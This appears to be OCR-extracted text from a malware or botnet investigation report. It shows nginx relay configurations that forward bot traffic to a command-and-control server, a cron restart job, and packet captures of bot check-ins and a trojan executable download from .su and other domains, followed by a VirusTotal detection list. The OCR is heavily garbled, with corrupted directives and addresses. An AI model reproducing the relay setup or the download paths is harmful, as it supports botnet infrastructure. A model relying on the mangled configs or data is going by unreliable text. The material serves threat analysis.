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server {
listen 8o;
location / {
proxy_pass htip://88.198.19.202:80;
proxy_set_header Host shost;
proxy_set_header REMOTEADDR1 $remote_addr;

H
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server { location / {
listen 443; proxy_pass http://88
ssl on; proxy_redirect off;
;

ssl_session_timeout 5m;
ssl_protocols SSLv3 TLSvy;
ssl_ciphers HIGH:!aNULL:!MDs;

proxy_pass_header server;
proxy_connect_timeout 75;
proxy_read_timeout 120;
proxy_send_timeout 120;

ssl_prefer_server_ciphers on; proxy_set_header REMOTEADDR1 $remote_addr;
ssl_certificate  /usr/local/nginx/1.crt; proxy_set_header Host shost;

ssl_certificate_key /usr/local/nginx/1.key; B
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worker_processes 4;
worker_rlimit_nofile 40000;
error_log /dev/null info;
events {worker_connections 1000;}
htip {
client_max_body_size 10m;
keepalive_timeout o;
include mime.types;
default_type application/octet-stream;
reset_timedout_connection on;
access_log /dev/null;
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3,18,33,48 * * * * killall nginx; sleep 1; /usr/local/nginx/sbin/nginx
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NetWitness Reconstruction for session ID- 341 ( Source 85.176.16.16 3721, Target 140.

Time 2014153234 to 2014 15:32:36 Packet Size 3,502 bytes Payload Size 2,604 bytes
Protocol 2048/6/443 Flags Keep Assembled AppMeta NetworkMeta Packet Count 16
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NetWitness Reconstruction for session ID- 43 (Source 140. 117 47, Target 88.198.19.202 : 80 )

Time 5/ 2014 15:32:09105/28/2014 15:32:10 Packet Size 1,888 bytes Payload Size 1,146 bytes
Protocol 2048/6/80 Flags Keep Assembled AppMeta NetworkMeta Packet Count 11

POST /het/sdgf.php HTTP/1.0
REMOTEADDR]: 85.176.16.16
Host: ketbabbewiredis.su
Connection: close
Content-Length: 490

Accept: */*

User-Agent; Mozillas4.0 (compatible; MSIE 8.0; Windows NI 5.1; Trident/4.0; GIB7.
5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET (LR 3.5.30
729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3)

Cache-Control: no-cache
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HTTP/1.1 200 OK
Server: nginx/l1.4.4

Date: Wed, 28 May 2014 07:32:10 GMT :
Content-Type: text/html; charset=UTF-8 n
Content-Length: 64 :
Connection: close 5

C. WisAMF I BE PR T LB 85,176, 16. 16>

140. X. X. 117->88.198.19. 202 ;> » ﬁ‘%{ "Bot>Relay—>C&C ,» #
¥ php ¢3¢ ¢ ¢ i Remoteaddrl (bot):n IP & C&C i -



MNo. Time Source Destination Protacol Length |Info

368 1.48656285.176.16.16  140. © 1177TLSvl | 931 AppTlication Data

423 1.790169 140. 117 88.198.19.202 HTTP 932 POST /het/sdgf.php HTTP/1.0

REMOTEADDRL: 85.176.16.16\r\n

Host: ketbabbewiredis.su\r\n
Connection: Closevry\n

Content-Length: 490\r\n
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GET /set/twe.exe HITP/1.0
REMOTEADDRL: 188.195.97.148
Host: dororevhapton.net
Connection: close
Accept: */*
User-Agent: Mozillas4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Alexa
Toolbarfamzni-3.0; .NET CIR 1.1.4322; AlexaToolbar/amzni-3.0; .NET CLR 2.0.50727)

Cache-Control: no-cache

| HTTP/1.1 200 OK I
erver. nginx/l.4.
Date: Wed, 28 May 2014 07:51:11 GNT

Content -Type: application/x-msdownload
Content-Length: 338432

R
Connection: close E
Last-Modified: Mon, 26 May 2014 13:57:30 GMT <
ETag: "63d02a0-52a00-4faddf 5cb2680" =
Accept-Ranges: bytes o
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$57% fc0&00&0 D&0E 000&0%E D00&0E 000408 0000 150wE0E; 00040 2 000&0%; 00 U&0Ri ch D&OPEL6H :

o

O =gepd0 208\ XEO(.textf ~ rdatal<O>F@.dataDBE0, t1s 80, rsrc0FE, reloc*e,
B3 A5 B HH HE HHEH BE 6 HEHEE B —E30 O E ESO O 7Ed0, W 3K VB <] [=] oo k
TE @5 t k O

a. %4%; 15 Virustotal 4 vt 5 & 43/53 » & Crypt 830 &

RAS 0 TR AL BT AL S G- fopd

SHA256: 00b5echaadabbe0749f6edd49b84chT10c5 1bceb3d240bbfc2809322d0953618
WELE B5SBFEBA4712C508A53673E2EF20FEAEA exe vo
s 43753 5 0
SAFEEE 2014-07-27 16:40:02 UTC (338 )
EiE SR B
AVG Crypt3 TRO 20140727
Ad-Aware GenVariant Symmi 42462 20140727
Agnitum Trojan Yakes!ZBk2vzGjvSw 20140727
AhnLab-V3 Malware/Win32 Generic 20140727
AntiVir TRICrypt Xpack 68722 20140727
Antiy-AVL Trojan/Win32.5Generic 20140727
Avast Win32:Dropper-gen [Drp] 20140727
Baidu-International Trojan Win32 Kryptik bCCXU 20140727
BitDefender Gen:Variant Symmi 42462 20140727
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Target 88.198.19.202 : 80)
bytes Payload Size 101,195 bytes

GET [roz/wev.jpg HITP/1.0
REMOTEADDR1: 217.7.129.154
Host: carconsultingeg.su

Accept: */*
User-Agent: Mozillafd.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; BIRSL
21291)

Cache-Control : no-cache

HITP/1.1 200 OK

Server: nginafl.4.4

Date: Wed, 28 May 2014 07:32:39 GMT
Content-Type: image/jpeg

Content-Length: 100714

Connection: close

Last-Modified: Fri, 23 May 2014 13:33:56 GMT
ETag: "16298001-1896a-4fal147fd1900"
Accept-Ranges: bytes

O #FIF O;CREATOR: gd-jpeg v1.0 (using 1IG JPEG v62), quality = 70
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3 4,115 bytes Payload Size yies
rkMeta Packet Count 26
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ctr,aesl92-ctr,aes256-ctr,arcfour256,arcfourl28,aes128-che,3des-che,blowfish-che,
cast128-cbc,aes192-cbe,aes256- cbe,arcfour, rijndael -cbc@lysator.liu.se esl28-ctr,
aesl92-ctr,aes236-ctr,arcfour256,arcfour128,aes128-cbe, 3des-cbe,blowfish-cbe,cast
128-cbc,aes192-cbe,2es256-che, arcfour, rijndael-cbe@lysator.lin. seEimac -nd5, hmac- s
hal ,umac-64@openssh. com,hmac-sha?-256,hmac-sha2-256-96, hmac- sha2- 512 ,hmac-sha2-51
2-96 ,hmac- ripemd160, hmac- ripemd160@opens sh.com,hmac- shal-96, hmac-md5-96Kimac-md5,
hmac- shal, umac- 64@openssh . com, hmac- sha2- 256 ,hmac-sha2-256-96 ,hmac -sha2-512, hmac-s
ha2-512-96 ,hmac - ripemd160 ,hmac - ri pemd160@apenssh. com,hmac-shal -96 ,hmac -md5- 96none
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